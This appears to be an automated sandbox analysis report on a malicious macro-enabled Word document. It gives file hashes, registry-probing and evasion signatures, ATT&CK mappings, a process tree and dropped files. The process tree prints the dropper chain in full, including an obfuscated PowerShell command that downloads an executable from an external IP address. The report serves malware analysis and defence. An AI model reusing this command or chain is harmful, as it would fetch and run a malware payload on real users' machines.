3e2db082da1ae9d9e4c61a3a3f6fcb537ec035ade48adbeaf8507b90253ab674

General

Target

TTP-US-246841413.docm
Size

93KB
MD5

674d7910c1ee176de0e24fd0179d83ab
SHA1

ff11c4281f065fa38d91e606a5e294d7fd8e312d
SHA256

567b7fe91330078fd3ba9e0f152203bb4e8edf5af0d43dd09deb7273cff24b39
SHA512

3825964d5a19453885e521c8e79cfc086b253bbbef34467abf94bc7044cb3c89409bcdae1313ba01ab109a60961abaa960a41e3d963f45531d377186994a94b6

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://62.108.35.26/generator.php

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

explorer.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3632	2324	explorer.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

39 1760 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation WScript.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	pid	process
39	1760	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	WScript.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

3112 timeout.exe

pid	process
3112	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies registry class 1 IoCs

Processes:

explorer.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\Local Settings explorer.exe
Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2324 WINWORD.EXE
2324 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1760 powershell.exe
1760 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1760 powershell.exe
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

WINWORD.EXE

pid process

2324 WINWORD.EXE
2324 WINWORD.EXE
2324 WINWORD.EXE
2324 WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\Local Settings	explorer.exe

pid	process
2324	WINWORD.EXE
2324	WINWORD.EXE

pid	process
1760	powershell.exe
1760	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1760	powershell.exe

pid	process
2324	WINWORD.EXE
2324	WINWORD.EXE
2324	WINWORD.EXE
2324	WINWORD.EXE

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

WINWORD.EXEexplorer.exeWScript.execmd.exe

description	pid	process	target process
PID 2324 wrote to memory of 3632	2324	WINWORD.EXE	explorer.exe
PID 2324 wrote to memory of 3632	2324	WINWORD.EXE	explorer.exe
PID 1800 wrote to memory of 1604	1800	explorer.exe	WScript.exe
PID 1800 wrote to memory of 1604	1800	explorer.exe	WScript.exe
PID 1604 wrote to memory of 2652	1604	WScript.exe	cmd.exe
PID 1604 wrote to memory of 2652	1604	WScript.exe	cmd.exe
PID 2652 wrote to memory of 1760	2652	cmd.exe	powershell.exe
PID 2652 wrote to memory of 1760	2652	cmd.exe	powershell.exe
PID 2652 wrote to memory of 3112	2652	cmd.exe	timeout.exe
PID 2652 wrote to memory of 3112	2652	cmd.exe	timeout.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\TTP-US-246841413.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2324

C:\Windows\explorer.exe
explorer.exe C:\ProgramData\jKLMJKGtftftyJHGFTYDA.vbs
2⤵
- Process spawned unexpected child process
PID:3632

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1800

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\jKLMJKGtftftyJHGFTYDA.vbs"
2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1604

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\AsusSupport\KreuitrsfYRgryFVFt5.cmd" "
3⤵
- Suspicious use of WriteProcessMemory
PID:2652

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
POWerShell ("Ne"w-Object Net.WebClient")"."Dow"nloadFile"('"http://62.108.35.26/generator.php', 'C:\AsusSupport\Kilskhdeuyrg.exe')
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1760

C:\Windows\system32\timeout.exe
TIMEOUT /T 10
4⤵
- Delays execution with timeout.exe
PID:3112

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\AsusSupport\KreuitrsfYRgryFVFt5.cmd
Filesize
21KB

MD5
408f33dd378d96e4ccd439f05370c3e9

SHA1
1da9b505753f4c3c9b7d175e181f383317455256

SHA256
193f23ad0bd0e9076fd0370f89bed6f48d7f72fa34b40679fcde1c5d2bc88227

SHA512
f1b3db9cef3e949067a56af8626d7422900d153277a9824ab64a471411092fcc2b44e79326e4e4446938875e769da170ef5b37618f820b0b96b9d522d4140337

Download Submit
C:\ProgramData\OIUTFuy
Filesize
4KB

MD5
f68f78d0cdd0be34785eba37ae4787d3

SHA1
fdc6a82309b966af80d03db8557a98f50ed57bcf

SHA256
e2eb68d537314b4fceb6aeee6737102387e85cb0d5c06e4e8a3881dabbfef2d4

SHA512
2de718f4e079674db9bc1b0f67a43f28941623f0d8c1246120feefe372e7d9b2608fe78e223eff8c6d75731763fd66d29ecec1ee158c7430cefc6723e84d9cbd

Download Submit
C:\ProgramData\jKLMJKGtftftyJHGFTYDA.vbs
Filesize
89KB

MD5
cbda7ec492b04a9a0258ad89779fd397

SHA1
3e8e0c1a59019994beaa1f5362034c3e3580a0ef

SHA256
21d108ef69fe0403a46c053c72e9a5b93a11d42cb2f1c098c6be762cfdda5f7e

SHA512
00f10131f1065c0b4b7df6f9ca2b20b2835c2e478d1116d7bc29a6d16bf8f6191055ab7da0572de32aadd111bf69958d6ffea1046c723c47cf53ab8127807d7e

Download Submit
memory/1604-140-0x0000000000000000-mapping.dmp

Download
memory/1760-146-0x00007FF8E5710000-0x00007FF8E61D1000-memory.dmp

Filesize
10.8MB

Download
memory/1760-145-0x00000254F3530000-0x00000254F3552000-memory.dmp

Filesize
136KB

Download
memory/1760-144-0x0000000000000000-mapping.dmp

Download
memory/2324-134-0x00007FF8D0890000-0x00007FF8D08A0000-memory.dmp

Filesize
64KB

Download
memory/2324-137-0x000001C3EC190000-0x000001C3EC194000-memory.dmp

Filesize
16KB

Download
memory/2324-136-0x00007FF8CDFC0000-0x00007FF8CDFD0000-memory.dmp

Filesize
64KB

Download
memory/2324-135-0x00007FF8CDFC0000-0x00007FF8CDFD0000-memory.dmp

Filesize
64KB

Download
memory/2324-130-0x00007FF8D0890000-0x00007FF8D08A0000-memory.dmp

Filesize
64KB

Download
memory/2324-133-0x00007FF8D0890000-0x00007FF8D08A0000-memory.dmp

Filesize
64KB

Download
memory/2324-132-0x00007FF8D0890000-0x00007FF8D08A0000-memory.dmp

Filesize
64KB

Download
memory/2324-131-0x00007FF8D0890000-0x00007FF8D08A0000-memory.dmp

Filesize
64KB

Download
memory/2652-142-0x0000000000000000-mapping.dmp

Download
memory/3112-147-0x0000000000000000-mapping.dmp

Download
memory/3632-138-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads